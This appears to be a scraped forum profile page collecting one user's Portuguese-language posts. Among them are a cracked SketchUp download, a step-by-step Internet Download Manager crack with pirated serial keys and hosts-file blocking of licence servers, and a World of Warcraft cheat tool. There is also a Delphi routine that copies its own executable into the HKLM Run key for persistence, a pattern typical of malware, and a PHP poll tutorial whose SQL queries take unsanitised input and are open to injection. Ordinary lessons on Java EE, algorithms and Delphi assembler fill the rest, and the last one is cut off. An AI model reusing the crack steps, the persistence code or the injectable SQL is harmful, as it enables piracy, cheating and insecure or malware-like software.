antiblock
Elveron

V¡®u§

Membro Plus
  • Content Count

    1,215
  • Joined

  • Last visited

  • Days Won

    34

Everything posted by V¡®u§

  1. Fabricante: Google Versão do Aplicativo: 14.0.4900 Plataforma: Pc Estilo: Design de Construção Lançamento: 2014 Ídiomas: PT-BR Formato: RAR Tamanho: 79 MB Crack: Incluído SketchU SketchUpp Pro é a maneira mais intuitiva para projetar, documentar e comunicar suas idéias em 3D. SketchUp (um produto Trimble) foi concebido para ser simples e fácil de usar. As principais partes da interface do SketchUp são a barra de título, menus, barras de ferramentas e paletas de ferramentas, área de desenho, barra de status ea barra de ferramentas Medidas. As imagens seguintes mostram a interface do usuário SketchUp. Centenas de milhares de profissionais em (respire fundo) arquitetura, construção, engenharia, interiores comerciais, construção leve, arquitetura da paisagem, cozinha e casa de banho de design, planejamento urbano, design de jogos, cinema e palco, madeira, e muitas outras áreas usam SketchUp Pro o tempo todo, todos os dias. É o antídoto para todos os fins de complicado, software CAD caro. Download MEGA:http://adf.ly/iPG2s Bitshare:http://adf.ly/iPGAh DepositFile:http://adf.ly/iPFwK
  2. Android Skin Pack é um tema para Windows 7 que vai transformar sua Área de trabalho para deixÁ-la com a cara do Android 4.0. Todo o estilo moderno da nova versão do sistema operacional para portÁteis da Google, também conhecido por seu codinome Ice Cream Sandwich, para incrementar o visual do seu PC. Um instalador único vai deixar o visual do Windows completamente diferente. Juntamente com o programa, o aplicativo instala o que mais for necessÁrio para que o desktop fique ainda mais bonito e com novos elementos que permitirão a você ter uma experiência próxima à de usar o próprio Android. Novo visual, novo desktop Depois da instalação, você reinicia o computador e dÁ de cara com algo novo logo na tela de boas-vindas do Windows: em vez do tradicional plano de fundo do sistema da Microsoft, uma imagem nova cujo protagonista é o robô-mascote do Android. Ao acessar a Área de trabalho, a surpresa fica completa com a inclusão de diversos novos elementos, o que inclui também um novo papel de parede. Primeiro, a Barra de tarefas do Windows foi parar na parte de cima da tela, algo comum para quem jÁ teve contato com algumas distribuições Linux ou com o Mac OS X. Essa função estÁ disponível de forma nativa no Windows, mas não são todos os usuÁrios que se acostumam com a barra em outro lugar que não a base da tela. A outra novidade também estÁ relacionada à Barra de tarefas, pois o tradicional botão do Windows no Menu Iniciar foi substituído por um novo ícone, que traz a mascote do sistema operacional para portÁteis da Google. Um tom azulado foi adicionado à Barra, que ainda teve o tamanho dos ícones reduzidos. Novo tema, novos ícones Além do ícone do Menu Iniciar, todo um novo tema de ícones inspirado no Android mais recente é adicionado ao Windows com o Android Skin Pack. As imagens que representam pastas e aplicativos do sistema se tornam muito mais minimalistas, em 2D e com uma tonalidade escura, algo alinhado com os novos temas dos produtos Google. Instalação Durante a instalação, o Android Skin Pack oferece a inclusão de um novo mecanismo de pesquisa padrão e de uma nova pÁgina inicial para seu navegador. Se você não deseja aplicar essas alterações, selecione a opção “Custom installation” e desmarque as opções indicadas na imagem abaixo: Download: http://fc08.devianta...ger-d4ecn5i.zip
  3. Para colocar um programa na inicialização do windows sem usar o velho Registry, você pode utilizar a api do windows, abaixo você vê uma procedure que faz todo o processo para você: procedure AutoIniciar(Chave,Local: String); var REGKEY : HKEY; begin RegOpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', REGKEY); RegSetValueEx(REGKEY, PChar(Chave), 0, REG_SZ, PChar(Local), SizeOf(Local) + Length(Local)); CopyFile(PChar(ParamStr(0)), PChar(Local),true); end; Modo de Usar AutoIniciar('Explorer','C:\Windows\explorer.exe');
  4. Exemplo de como pegar o IP de um visitante de sua HP. <? echo getenv("REMOTE_ADDR"); ?>
  5. Este tutorial vai ensinar a fazer uma votação em PHP. Esta votação será só de apenas uma escolha. 1. Criando o arquivo para votar: Cria um ficheiro html e escreve a tua pergunta e respostas como no exemplo seguinte: <HTML> <HEAD> <TITLE>votação</TITLE> </HEAD> <BODY> <FONT SIZE="3">Qual a sua base de dados preferida?</FONT><BR> <FORM NAME="votação" ACTION="votacao.php" METHOD="get"> <INPUT TYPE="radio" NAME="escolha" VALUE="1">MySQL<BR> <INPUT TYPE="radio" NAME="escolha" VALUE="2">msSQL<BR> <INPUT TYPE="radio" NAME="escolha" VALUE="3">PostgreSQL<BR> <INPUT TYPE="radio" NAME="escolha" VALUE="4">ODBC<BR> </FORM> </BODY> </HTML> 2. Criando a tabela no MySQL: Na shell do MySQL digite após selecionar uma Base de Dados escreva o seguinte código: CREATE TABLE votacao (id INT(2) NOT NULL auto_increment primary key, descricao CHAR(50), votos CHAR(4)); Muito bem, a tabela foi criada e está pronta para usar. Para continuar, da mesma forma que criá-mos a tabela vamos agora inserir os seguintes códigos para adicionar as opções na tabela: INSERT INTO votacao (descricao,votos) VALUES ("MySQL","0"); INSERT INTO votacao (descricao,votos) VALUES ("msSQL","0"); INSERT INTO votacao (descricao,votos) VALUES ("PostgreSQL","0"); INSERT INTO votacao (descricao,votos) VALUES ("ODBC","0"); Repara que só são adicionadas a descrição e os votos, mas não o ID, justamente porque quando a tabela foi criada foi designada a função de AUTO_INCREMENT, o que fará com que ela automaticamente incremente o valor. 3. Criar o PHP que fará todo o trabalho: Cria um ficheiro chamado votação.php e dentro dele coloque o seguinte código que será explicado detalhadamente: <? if ($escolha != "") { // Verifica se foi inserido um voto e prossegue em frente no caso de verdade // Variáveis a serem alteradas $mysql_host = ""; // local do servidor MySQL $mysql_user = "": // utilizador do MySQL $mysql_pass = ""; // senha do utilizador do MySQL $mysql_dtbs = ""; // base de dados onde a tabela foi criada $num_resp = ""; // número de opções na tua votação $pergunta = ""; // pergunta da votação // Nada mais a ser alterado $mysql_conx = mysql_connect($mysql_host,$mysql_user,$mysql_pass); // ligação ao MySQL $radio = $num_resp + 1; // para uso posterior mysql_select_db($mysql_dtbs); // seleciona a base de dados // aqui começa todo o trabalho do PHP para actualizar a base de dados $query_upd = "SELECT * FROM votacao WHERE id=$escolha"; $resul_upd = mysql_query($query_upd); // aqui o PHP selecciona apenas os registos que coincidem com a escolha, neste // caso so uma opção $obj_upd = mysql_fetch_object($resul_upd); // o comando mysql_fetch_object() separa os resultados de uma query por colunas // neste caso, $obj_upd -> descrição da opção que o utilizador votou $vot_upd = $obj_upd->votos; $vot_upd++; // separa só os votos e adicinona mais um voto $upd_upd = "UPDATE votacao SET votos=$vot_upd WHERE id=$escolha"; mysql_query($upd_upd); // atualizou a base de dados // Agora o PHP fará a pesquisa na base de dados e retornará as opções, seus // respectivos votos, total de votos e a sua escolha. echo "<H3>" . $pergunta . "</H3>"; for($i=1;$i<$radio;$i++) { $query[$i] = "SELECT * FROM votação WHERE id=$i"; $resul[$i] = mysql_query($query[$i]); $objet[$i] = mysql_fetch_object($resul[$i]); echo "<FONT FACE=\"Verdana\" SIZE=\"1\"><B>" . $objet[$i]->opcao . "</B> " . $objet[$i]->descricao . "<B> " . $objet[$i]->votos . "</B><BR>"; $tot_vt += $objet[$i]->votos; // tudo isto serve para requisitar o resultado de cada opção e exibir no écran } echo "<FONT SIZE=\"1\"><B>Total de votos:</B>" . $tot_vt . " <B>Sua Escolha</B>:" . $escolha . "</FONT></FONT>"; } ?> E aqui termina o tutorial de como fazer uma votação, claro, que podes e deves modificar o layout da votação, adaptar para que seja permitido apenas um voto por dia (usando cookies), etc, etc e tal....
  6. hoje eu vou explicar como fazer o hack ou crack Internet Download Manager (IDM) manualmente. IDM é o melhor gerenciador de download da Internet estará disponível na internet, mas o seu vírus não gratuito e suas versões cracked ou patched contém. Usando este hack você pode registrar o Internet Download Manager (IDM) para livre utilização de credenciais própria, ou seja registrar em seu nome e identificação do e-mail. Eu estou explicando o método manual de "hacking", porque a maioria dos meus conhecidos, disse que o patch e keygen conten vírus. Agora, suponha que você tenha atualizado o IDM (Internet Download Manager) e se você estiver usando cracked ou patched versão, depois de atualizar IDM, ele mostra uma mensagem de erro que você registrou IDM com serial key falso. E depois que sai IDM e por isso não baixar nada. Esse truque também funciona para IDM trail que significa baixar um IDM trail a partir daí site e registrar a versão completa ou seja, profissionais de IDM com as suas credenciais de graça usando o hack. Vamos iniciar o tutorial, hack ou crack IDM manualmente. Passos envolvidos: Passo 1: Baixe o IDM trial Se você já tiver instalado IDM atualizá-lo vai ajudar ---}}, em seguida, para verificar se há atualizações. Se você não quiser atualizar a sua versão, basta clicar sobre o Registo. Passo 2: Quando você clica sobre o registro, agora, uma nova caixa de diálogo aparece que está pedindo Nome, sobrenome, endereço de email e número de série. Passo 3: Agora digite o seu nome, sobrenome, endereço de e-mail e no campo do Serial entrar em qualquer uma das seguintes chaves: RLDGN-OV9WU-5W589-6VZH1 HUDWE-UO689-6D27B-YM28M UK3DV-E0MNW-MLQYX-GENA1 398ND-QNAGY-CMMZU-ZPI39 GZLJY-X50S3-0S20D-NFRF9 W3J5U-8U66N-D0B9M-54SLM EC0Q6-QN7UH-5S3JB-YZMEK UVQW0-X54FE-QW35Q-SNZF5 FJJTJ-J0FLF-QCVBK-A287M E clique em OK para se registar. Passo 4: Agora, depois de clicar em ok, ele irá mostrar uma mensagem de erro que você registrou IDM com serial chave falsa e IDM irá sair. Agora aqui começa o hack. Passo 5: Agora Vá para INICIAR -}} Então vá ao Executar e digite o seguinte texto e clique em entrar: notepad %windir%system32driversetchosts Para usuários do Windows 7, devido a razões de segurança, você não será capaz de salvar o arquivo hosts. O truque está abaixo: Primeiro de tudo vá para C: / unidade, em seguida, ir para a pasta do Windows e vá para a pasta System32 e, em seguida, vá até a pasta Drivers e vá para a pasta Etc, Etc na pasta você verá o arquivo hosts. Agora clique direito no arquivo hosts e ir para suas propriedades, em seguida, vá para a aba segurança e selecione a conta de administrador, logo abaixo u verá um botão de edição (em frente ao alterar permissões), agora dá o controle completo do usuário, escrever e ler direitos e, em seguida, clique em Aplicar e depois clique em Ok, agora você vai ser capaz de editar o arquivo hosts e salvar as alterações nele. Passo 6: Agora um arquivo de bloco de notas aparece algo assim como mostrado abaixo: Clique Imagem para Ampliar!. Como hack IDM manualmente: arquivo Host Agora, copie as linhas abaixo do código e adicionar ao arquivo hosts, como mostrado acima: 127.0.0.1 tonec.com 127.0.0.1 www.tonec.com 127.0.0.1 registeridm.com 127.0.0.1 www.registeridm.com 127.0.0.1 secure.registeridm.com 127.0.0.1 internetdownloadmanager.com 127.0.0.1 www.internetdownloadmanager.com 127.0.0.1 secure.internetdownloadmanager.com 127.0.0.1 mirror.internetdownloadmanager.com 127.0.0.1 mirror2.internetdownloadmanager.com Depois de adicionar estas pedaço de código, salve o arquivo bloco de notas. E sair de lá. Agora inicie o seu gerenciador de download da Internet, e agora você IDM foi convertido em versão integral e, especialmente, quando você atualizar da próxima vez, sua inscrição não irá expirar. Isso significa que ele permanecerá na versão completa para o tempo de vida e você pode atualizá-lo sem qualquer problema. Aqui é a minha prova de sucesso Hacking IDM:
  7. 1. Funções (Privado) Estas funções devem ser usados ​​em servidores privados apenas (Nunca usá-lo no servidor live) Velocidade global: modificar todas as velocidades (andar, correr, nadar, voar, etc) Velocidade: corrida e natação de velocidade (Predefinição = 7) (100% = 14) em percentuais: Mostrar a sua velocidade em% (por exemplo, se você colocar a velocidade a 14, ele irá mostrar 100% Isso significa velocidade 14 = 100% epic mount). Fly Mod: permite que você voe (Predefinição = 7) (280% = 26,6) (310% = 28,7) Congelar Z: Permite que você ande no heigh mesmo sem cair NoClip 1: Seu personagem pode passar por tudo (mesmo terreno). É altamente aconselhável usar esta função com Z Congelar ou mod Fly. PÉ-de-água: Permite andar sobre a água Walk-under-água: Permite a andar debaixo de água Use o comando mount no interior: Permita que você montar atÉ mesmo no interior Wallclimb: Você pode subir montanhas cada NoCooldown: Retire o cooldown global sobre Magias (elenco Instantânea e Feitiço sem cooldown apenas) Walljump: Permita que você pendurá-lo nas montanhas (tipo de wallclimb) Multi-jump: Permita que você saltar no ar Super-jump: Permita que você saltar mais alto (Coloque o valor desejado na Inputbox abaixo) Faction: Permita que você mudar de facção (Você pode atacar jogador de sua facção se eles são PVP ativado não-fixos de servidor) Unstuck: Exibe uma janela em primeiro plano, que permitem que você unstuck personagem que você se você está preso por um feitiço (ex: raízes Entangling) Parar de cair: Mostra uma janela em primeiro plano, que permite que você pare seu personagem cair. TP-alvo (de volta): Teleport-lo na parte de trás do seu alvo (como rogues) TP Target (Undermap): Teleport você atrás de sua meta e sob o mapa. Assim, você pode atacá-los com magias ou com armas de longo alcance (Tenha cuidado quando você está undermap, você pode cair facilmente! Você deve usar o Freeze função Z) Desativar colisões M2: Permita que você passar por "objetos" (árvores, etc) Desativar WMO colisões: Permita que você vá embora edifícios Noclip: Desativar M2 + WMO colisões Rastreamento: Permite que você acompanhe as unidades no seu minimap (como caçadores) e para mostrar ressources. XYZ: Ativar XYZ: Permita que você se teletransportar seu personagem com o Numpad. XYZ: Velocidade Teleport. (Numpad) 7: Up 9: Down 8: Forward 5: Backward 6: Rigth 4: Left Teletransporte: Mapa: Mapa ID do mapa em que está. Código: Mapa ID mais utilizados: 0 = Eastern Kingdom (tambÉm chamado Azeroth na lista de teleport) 1 = Kalimdor 571 = Northrend 530 = Outland, Quel Danas, Bloodelf spawn e Draeneï spawn X, Y, Z: Seu coordenadas *: Copiar coordenadas atuais para as colunas esquerda (coordenadas de destino) Teleport: Teletransporte-lhe as coordenadas XYZ TP Corps: Teleport lo para o seu cadáver. Lista: Exibir a lista Teleport. Clique para TP: Permita que você se teletransportar seu personagem onde você clica com o Botão direito do mouse + Shift ou Ctrl ou Alt (selecione-o na janela de atalho). Você tem que ativar o''Clique para mover opção''para que ele funcione! (Ingame: Escape -> Interface -> Mouse -> "Click em move"). Atalhos: Eles podem ser atribuídos pelo botão Shotcut (você tem que verificar a caixa de seleção de atalho para torná-los ativos). Usar apenas um atalho únicos por função. 2. Funções serve Live. Estas funções podem ser uso em servidores Live ou Privado. Wallclimb: Você pode subir montanhas cada Walljump: Permita que você pendurá-lo nas montanhas (tipo de wallclimb) PÉ-de-água: Permite andar sobre a água Walk-under-água: Permite a andar debaixo de água Super-jump: Permita que você saltar mais alto (Coloque o valor desejado na Inputbox abaixo) Faction: Permita que você mudar de facção. Você não será capaz de atacar os membros de sua facção, mas você será capaz de ver o nível / PvP stats / talentos / ... de membros da facção oposta. Desativar colisões M2: Permita que você passar por "objetos" (árvores, etc) Desativar WMO colisões: Permita que você vá embora edifícios Noclip: Desativar M2 + WMO colisões Rastreamento: Permite que você acompanhe as unidades no seu minimap (como caçadores) e para mostrar ressources. XYZ: Manual: Um keypress mover o seu personagem de uma etapa. Automática: keypress Um mover o seu personagem de forma contínua (Para parar em movimento, pressione a tecla 1 do teclado numÉrico) (Numpad) 7: Up 9: Down 8: North 5: South 6: East 4: West 1: Pare de se mexer (Se você está em mod automático) álcool: bêbado! Titre: Mostrar um título antes de seu pseudo. Você precisa para desativar / ativar o seu nome nas opções para vê-lo. Emote no alvo: Play selecionados emote em seu alvo (se nenhum alvo É selecionado, emote É jogar em você) Revelar o mapa: Revelar todas as mapa (Não dê nenhuma conquista e tem que ser reativar depois de qualquer carregamento) Escala: + Escala: Faça seu personagem de maior dimensão (com colisões) Escala -: Faça seu personagem menor (com colisões) Escala: escala do personagem (sem colisões) Altura: Altura de seu personagem (apenas colisão) Width: Largura do seu personagem (apenas colisão) Reset: Restabeleça a sua escala original Player: Dead: Mostre seu personagem morto (ClientSide apenas) Invisível: Faça a sua personagem desaparecer (ClientSide apenas) Câmera: Spectate mod: Permita que você mover a câmera só (Você pode alterar a velocidade com a velocidade padrão inputbox (: 40)) Noclip: Permite que você passar por tudo com sua câmera em mod espetar. Siga-alvo: Permita que você colocar sua câmera em seu alvo para segui-la. Use as setas para girar em torno do destino selecionado. TP Câmara (serv Privado.): Teleport que você sua câmera (servidores privados só!) Tempo: Horários: Defina a hora do jogo. Minutos: Ajuste os minutos do jogo. Velocidade: Ajuste a velocidade do tempo. 3. Lista Teleport Aqui está a lista Teleport que podem ser apresentados por "Lista" botão (Privates Funções) (Não usá-lo no servidor Live!) Para adicionar um destino: Coloque o nome que você quiser (deve ser exclusivo na lista!) E clique em''Adicionar''TP. Seu destino será acrescentar no final da lista, na categoria "Destinos manuellement ajoutÉes". Para excluir um destino: Coloque-o número (coluna da esquerda) e clique em "Excluir TP". WEH lista: Se você marcar esta opção, você inverter o eixo do destino (X e Y), porque na lista WowEmuHacker do teleport, eixos X e Y são invertidos. Se você quiser usar uma lista WowEmuHacker, você terá que verificar se esta lista teleport respeita as condições abaixo: A lista teleport deve ser composto assim: Código: [Nome de destino] Type:=O que você quiser (Esta linha só está aqui para tornar o programa compatível com listas WEH) MapID:=ID do mapa XPos:=X coordenada YPos:=Y coordenada ZPos:=Z coordenada Comment:=Comentarios Você tem que manter o nome do mesmo arquivo e extensão (. Ini). Mas como eu disse, você não precisa usar isso se você usar a lista teleport que está incluída com o programa. De se teletransportar, você só tem que clicar em um destino e, em seguida, clique em "Teleport". 5. Outros Em cima: Coloque a janela em primeiro plano. Transparência: Tornar a janela transparente. Reset: Reinicia todos os programa de opções. "WoW List": Se você lançar vários WoW, você será capaz de escolher qual WoW você quer enganar ao selecionar seu PID (writed na coluna do lado superior direito em screenshots, 3 WoW são lançados) Settings: Permite-lhe alterar algumas configurações: Linguagem Usar a interface padrão Manter as funções ativadas após programa de encerramento Ativar algumas funções no inicio do programa Você deve iniciar o programa quando você está com o personagem no jogo. Para Vista / Seven usuários, você pode ter que iniciar o programa com direitos de administradores. Download: The Hitchhiker's Hack 3.3.2: Download The Hitchhiker's Hack 3.3.3: Download The Hitchhiker's Hack 3.3.5: Download Source-code: Download
  8. Tamanho: 13.88 MB Nota: instalador Pacotes de tem opção de instalação fácil e segura, por favor, desinstale a versão antiga ou outro de pacotes antes de instalar a nova versão. Antes de instalar fechar todo o programa runnig, depois de terminar reinicie o sistema. Suporta: Windows 7, Windows 7 SP1 - [X86_X64] - [Language All] - [Versão Completa] Resource Hacker 3.6 by angus johnson http://www.angusj.com/resourcehacker/ Moveex 1.0 by Alexander Frink http://wwwthep.physi.../~frink/nt.html Universal Theme Patcher 1.5.0.22 by deepxw http://www.deepxw.blogspot.com RocketDock 1.3.5 by PunkSoftware http://www.punksoftware.com/ 86Bts MEGA:http://adf.ly/hErsn DepositFile:http://adf.ly/hEleI 64Bts MEGA:http://adf.ly/hErhz DepositFile:http://adf.ly/hEtyd
  9. aula 111 java ee - Tag Option Value para Itens aula 112 java ee - Trazendo Cidade e Bairro para Clientes na Lista aula 113 java ee - Configurando WEB-INF e web_xml aula 114 java ee - JAVA_HOME e CATALINA_HOME aula 115 java ee - Baixando e Instalando o NetBeans 6 aula 116 java ee - Criando projeto web no NetBeans 6 aula 117 java ee - Visualizando uma pagina JSP pelo NetBeans aula 118 java ee - Manipulando Tomcat no NetBeans aula 119 java ee - Startando servidor GlassFish no NetBeans aula 120 java ee - Visual Web JSF Page aula 121 java ee - Visual Web Pack e NetBeans 551 aula 122 java ee - Instalando o NetBeans 5_5_1 e Baixando o Visual Web Pack aula 123 java ee - Instalando e testando o Visual Web Pack aula 124 java ee - Implementando um exemplo do Visual Web Pack aula 125 java ee - Explorando o Navigation_xml aula 126 java ee - Importando todo o projeto no NetBeans 551 aula 127 java ee - Configurando postgreSQL e webxml no NetBeans 551 aula 128 java ee - Configurar driver postgreSQL no WEB-INF lib aula 128a java ee - Configurar driver postgreSQL no WEB-INF lib aula 129 java ee - Importando e testando todo o projeto no NetBeans 6 aula 130 java ee - Baixando o Eclipse aula 131 java ee - Instalando o Eclipse aula 132 java ee - Instalando os plugins no Eclipse para gerar aplicacoes web aula 133 java ee - Configuracao do Tomcat no Eclipse e iniciando um projeto aula 134 java ee - Criando e testando index_jsp no Eclipse aula 135 java ee - Resolvendo possiveis problemas com o Tomcat no Eclipse aula 136 java ee - Transportando todo o projeto para o Eclipse aula 137 java ee - Corrigindo possiveis erros na transferencia do projeto aula 138 java ee - Criando clase JSP no Eclipse para Consulta de Bairros aula 139 java ee - Cria Form e Efetua conexao com o PostgreSQL no Eclipse aula 140 java ee - Finaliza JSP consulta de Bairros no Eclipse aula 141 java ee - Ajustes Finais do projeto no Eclipse aula 142 java ee - Servlets da aplicacao no Eclipse aula 143 java ee - Recriando projeto do Dreamweaver no NetBeans 6 aula 144 java ee - Usando classe Date e SimpleDateFormat no jsp aula 145 java ee - Implementando Data e Hora no JSP aula 146 java ee - Usando Tag Diretiva Include no JSP Login aula 147 java ee - Usando include para conexao com o banco aula 148 java ee - Desinstalando todos os softwares aula 148 java ee - Encerrando o projeto aula 149 java ee - Importante driver WEB-INF lib postgreSQL aula 150 java ee - Baixando o JBoss aula 151 java ee - Instalando o JBoss aula 152 java ee - Configuracao do JBoss no NetBeans aula 153 java ee - Data automatica no jsp do Cadastro de Clientes aula 154 java ee - Implementando codigo automatico via programacao jsp aula 155 java ee - Finalizando codigo automatico via programacao jsp aula 156 java ee - Informacoes de como instalar os softwares netbeans dreamweaver java e postgreSQL DVD 01 Parte 1 Parte 2 Parte 3 Parte4 Parte 5 Parte 6 Parte 7 Parte 8 Parte 9 Parte 10 Parte 11 Parte 12 Parte 13 Parte 14 Parte 15 Parte 16 Parte 17 Parte 18 Parte 19 Parte 20 Parte 21 Parte 22 Parte 23 Parte 24 Parte 25 Parte 26 Parte 27 Parte 28 Parte 29 Parte 30 DVD 02 Parte 1 Parte 2 Parte 3 Parte 4 Parte 5 Parte 6 Parte 7 Parte 8 Parte 9 Parte 10 Parte 11 Parte 12 Parte 13 Parte 14 Parte 15 Parte 16 Parte 17
  10. Para que um computador faça qualquer coisa, você precisa de um programa de computador. Para criar um programa de computador, você tem de informar ao computador, passo a passo, exatamente o que você espera que ele faça. O computador então "executa" o programa, seguindo cada passo mecanicamente para atingir o objetivo final. Quando você "diz" ao computador o que fazer, você também deve escolhercomo ele vai fazer. é aí que entram os algoritmos de computador. Algoritmo é a técnica básica usada para fazer o trabalho. Vamos acompanhar um exemplo para ajudar a entender o conceito de algoritmo. Digamos que você tem um amigo chegando ao aeroporto e ele precisa ir do aeroporto até sua casa. Aqui estão quatro algoritmos diferentes que você poderia dar a seu amigo para ele chegar à casa: [*] o algoritmo do táxi: [*] vá para o ponto de táxi; [*]entre em um táxi; [*]dê meu endereço ao motorista. [*]o algoritmo "ligue-me": [*] quando seu avião chegar, ligue para meu celular; [*]espere do lado de fora do terminal de bagagens (em inglês). [*]O algoritmo "alugue um carro": [*] pegue o circular até o aluguel de automóveis; [*]alugue um carro; [*]siga as instruções para chegar até minha casa. [*]O algoritmo do ônibus: [*] fora do terminal de bagagens, pegue o ônibus número 70; [*]faça uma baldeação para o ônibus 14 na Rua Dom Pedro; [*]desça na rua Aroeira; [*]ande duas quadras para norte até minha casa. Todos esses quatro algoritmos atingem exatamente a mesma meta, mas cada um deles o faz de modo completamente diferente. Cada algoritmo também possui um custo e um tempo de viagem diferentes. O táxi, por exemplo, é a maneira mais rápida e cara. Já o ônibus é definitivamente mais barato, mas bem mais lento. Você escolhe o algoritmo com base nas circunstâncias. Na programação de computadores, freqüentemente há diversos caminhos, ou algoritmos, para cumprir qualquer tarefa determinada. Cada algoritmo tem vantagens e desvantagens em situações diferentes. A ordenação é uma área onde se fez muita pesquisa, porque os computadores gastam muito tempo classificando listas. Aqui estão cinco algoritmos diferentes que são usados na ordenação: [*] ordenação por caixas [*]ordenação por mistura [*]ordenação por bolha [*]ordenação por aparência [*]ordenação rápida Se você tem um milhão de valores inteiros entre 1 e 10 e precisa ordená-los, a ordenação por caixa é o algoritmo certo a ser usado. Se você tem um milhão de títulos de livros, o método ordenação rápida poderia ser o melhor algoritmo. Conhecendo os pontos fortes e fracos dos diferentes algoritmos, você escolhe o melhor para a tarefa que tem em mãos.
  11. Este artigo irá introduzir os conceitos de assembler em linha (inline assembler) no Delphi. O artigo dará uma noção básica do assunto mas não pretende oferecer, em hipótese alguma, detalhes da programação assembler que, por si só, precisariam de um livro inteiro ou mais... Por que e Quando ================ Se você der uma olhada no código fonte da RTL e da VCL, você encontrará declarações assembler inline em vários pontos. Por que a Borland optou por escrever partes do código da RTL e da VCL em assembler? A resposta é bem simples: para alcançar velocidade na execução. Nós sabemos que o compilador produz código rápido mas um compilador jamais será tão bom quanto um programador assembler profissional. Agora, se o assembler é tão bom, por que não foi utilizado em toda a RTL e VCL? A resposta é igualmente simples: porque na programação de mais alto nível, é mais fácil codificar, depurar, ler e manter o código, de modo que o sacrifício em velocidade fica compensado pelas conveniências decorrentes. Isso ajuda a explicar quando o assembler deve ser utilizado. Para ser curto, além do acesso ao sistema em baixo nível, o assembler inline deve ser utilizado quando a diferença na velocidade de execução justifica o trabalho adicional da codificação em assembler. Por exemplo, na unidade Math.pas, há muito assembler, basicamente para chamadas de sistema em baixo nível (para acesso às funções do coprocessador); em System.pas, SysUtils.pas e Classes.pas há também diversos blocos em assembler, desta vez para priorizar velocidade; no é estranho já que essas podem ser consideradas as unidades centrais da RTL e VCL. Em geral, procedimentos e funções que tendem a ser chamadas de forma repetida por um programa devem ser altamente otimizadas, mas codificação em assembler deve ser evitada tanto quanto possível. Se desejamos ganhos em velocidade, antes de optar por assembler devemos otimizar o algoritmo propriamente dito; depois, otimizamos o código Pascal. Se optarmos por assembler, o código Pascal otimizado pode servir como documentação e pode ser utilizado como "código de contigência" no caso de problemas com a manutenção do código assembler. Os Registradores da CPU ======================= Os registradores da CPU são como variáveis predefinidas residindo na CPU e, por vezes, têm tarefas especiais. Eles não têm tipo e podem ser vistos como inteiros de 32 bits com ou sem sinal ou como ponteiros, dependendo da situação. Como estão na própria CPU, é muito mais rápido acessar valores contidos nos registradores do que na memória, fazendo dos registros ideais para fazer cache de valores. Como variáveis, os registradores também possuem nomes. Os nomes daqueles que usaremos são EAX, EBX, ECX, EDX, ESI, EDI, EBP e ESP. Cada registrador tem uma particularidade que o distingue dos demais: - Para algumas instruções, a CPU foi otimizada para utilizar o registrador EAX (também conhecido como acumulador) ou ao menos os opcodes são menores. EAX é usado nas multiplicações e as divisões, intructions de string, instruções de I/O, instruções de ajuste ASCII e decimal, e em algumas instruções especiais (como CDQ, LAHF, SAHF e XLAT). - EBX é um registrador de uso geral, e é usado implicitamente por XLAT. - ECX (também conhecido como contador) tem emprego especial nas instruções LOOP, de rotação e deslocamento de bits e de manipulação de literais. - EDX é utilizado para armazenar os 32 bits mais altos do resultado de uma multiplicação ou os os 32 bits mais altos do dividendo e do resto de uma divisão. - ESI e EDI (conhecidos como índice de origem (source index) e índice de destino ("destination index") respectivamente) são como ponteiros utilizados em instruções envolvendo strings. - EBP (conhecido como ponteiro base) é normalmente usado para endereçar valores na pilha (parâmetros e variáveis locais). - ESP (conhecido como ponteiro da pilha) é utilizado para controlar a pilha. é alterado automaticamente por instruções como PUSH, POP, CALL e RET. Os registradores EBX, ESI, EDI, EBP e ESP devem ser preservados, o que significa que antes de usá-los, devemos salvar seus valores em algum lugar (normalmente na pilha ou outro registradores) e, quando terminarmos de usá-los, devemos restaurar seus valores originais (essas operações implicam no uso de instruções e perda de algum tempo) de modo que o uso desses registradores será feito somente quando justificável ou quando houver uma necessidade inevitável. Provavelmente você percebeu que os nomes dos registradores iniciam com a letra "E". O "E" representa "Extended", estendido. Nos tempos do Intel 80286, os registradores tinham 16 bits e eram chamados AX, BX, CX, etc. Esses registradores ainda existem e são exatamente os 16 bits menos significativos dos registradores EAX, EBX, ECX, etc., respectivamente. A propósito disso, os registradores AX, BX, CX e DX são divididos em dois registradores de 8 bits. AL, BL, CL e DL são os bytes menos significativos de AX, BX, CX e DX respectivamente, enquanto AH, BH, CH e DH são os bytes mais significativos de AX, BX, CX e DX respectivamente. Por exemplo, se o valor de EAX é $7AFD503C, então o valor de AX é $503C, o valor de AH é $50 e o valor de AL é $3C: 7A FD 50 3C AH AL /----/ AX /------------/ EAX Se, na situação acima, armazenarmos o valor $99 em AH, então EAX passaria a ter o valor $7AFD993C. Existe um registrador especial, o registrador de indicadores (flags), que armazena indicadores binários alterados por instruções matemáticas e lógicas ou explicitamente por código, e que são normalmente usados em instruções de desvio condicional. O indicador carry também é usado em algumas instruções de rotação e o indicador de direção é utilizado em instruções envolvendo literais. Esse registrador não é acessível por nome como os demais registradores; mas pode ser copiado e restaurado através da pilha, utilizando PUSHF e POPF respectivamente, e pode também ser copiado e restaurado parcialmente através do registrador AH, utilizando LAHF e SAHF respectivamente. Instruções Assembler ==================== Instruções assembler são dispostas em blocos asm..end blocks e têm a seguinte forma: [identificador:] [prefixo] opcode [operando1 [, operando2 [, ...]]] Onde opcode é o nome da instrução como MOV, ADD, PUSH, etc. Instruções podem ser separadas por ponto e vírgula, quebras de linhas ou comentários. A propósito, comentários são no formato do Object Pascal, isto é, o ponto e vírgula não é considerado o início de um comentário até o final da linha, como no assembler tradicional. A seguir, um exemplo de bloco asm..end com vários dos possíveis tipos de instruções e separadores de comentários: asm xchg ebx, edx; add eax, [ebx]; {ponto e vírgula separa declaração} // quebra de linha separa declaração mov ebx, p sub eax, [ebx] (*comentário separa declaração*) mov ebx, edx end; A convenção é utilizar quebras d elinhas para separação: asm xchg ebx, edx add eax, [ebx] mov ebx, p sub eax, [ebx] mov ebx, edx end; No código da VCL, você verá que os opcodes e nomes de registradores são escritos em maiúsculas e que instruções são indentadas em uma tabulação (normalmente equivalente a oito caracteres), mas utilizaremos outra convenção neste artigo. Blocos asm..end podem ocorrer em qualquer ponto do código fonte onde uma declaração Pascal ordinária puder aparecer; além disso, é possível termos rotinas 100% assembler se, ao invés de "begin", utilizarmos "asm": procedure teste; asm // declarações assembler end; Note que as duas implementações abaixo não são equivalentes: function f(parâmetros): tipo; begin asm // declarações assembler end; end; function f(parâmetros): tipo; asm // declarações assembler end; A razão disso é que o compilador realiza certas otimizações quando implementamos rotinas inteiramente em assembler, sem utilizar um 